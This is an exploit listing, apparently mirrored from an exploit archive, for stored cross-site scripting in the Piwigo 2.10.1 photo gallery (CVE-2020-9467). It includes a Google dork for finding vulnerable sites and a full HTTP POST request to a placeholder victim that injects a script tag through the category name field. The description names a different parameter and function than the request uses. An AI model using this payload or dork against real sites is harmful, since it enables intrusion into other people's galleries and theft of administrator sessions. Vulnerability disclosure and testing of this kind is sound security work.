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## https://sploitus.com/exploit?id=PACKETSTORM:159191
# Exploit Title: Piwigo 2.10.1 - Cross Site Scripting  
# POC by: Iridium  
# Software Homepage: http://www.piwigo.org  
# Version : 2.10.1  
# Tested on: Linux & Windows  
# Category: webapps  
# Google Dork: intext: "Powered by Piwigo"  
# CVE : CVE-2020-9467  
  
######## Description ########  
  
Piwigo 2.10.1 has stored XSS via the file parameter in a /ws.php request  
because of the pwg.images.setInfo function.  
  
######## Proof of Concept ########  
  
*Request*  
  
POST /piwigo/ws.php?format=json HTTP/1.1  
Host: [victim]  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101  
Firefox/80.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 79  
Origin: http://[victim]  
Connection: close  
Referer: http://[victim]/piwigo/admin.php?page=photos_add&section=direct  
Cookie: pwg_id=08tksticrdkctrvj3gufqqbsnh  
  
method=pwg.categories.add&parent=1&name=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E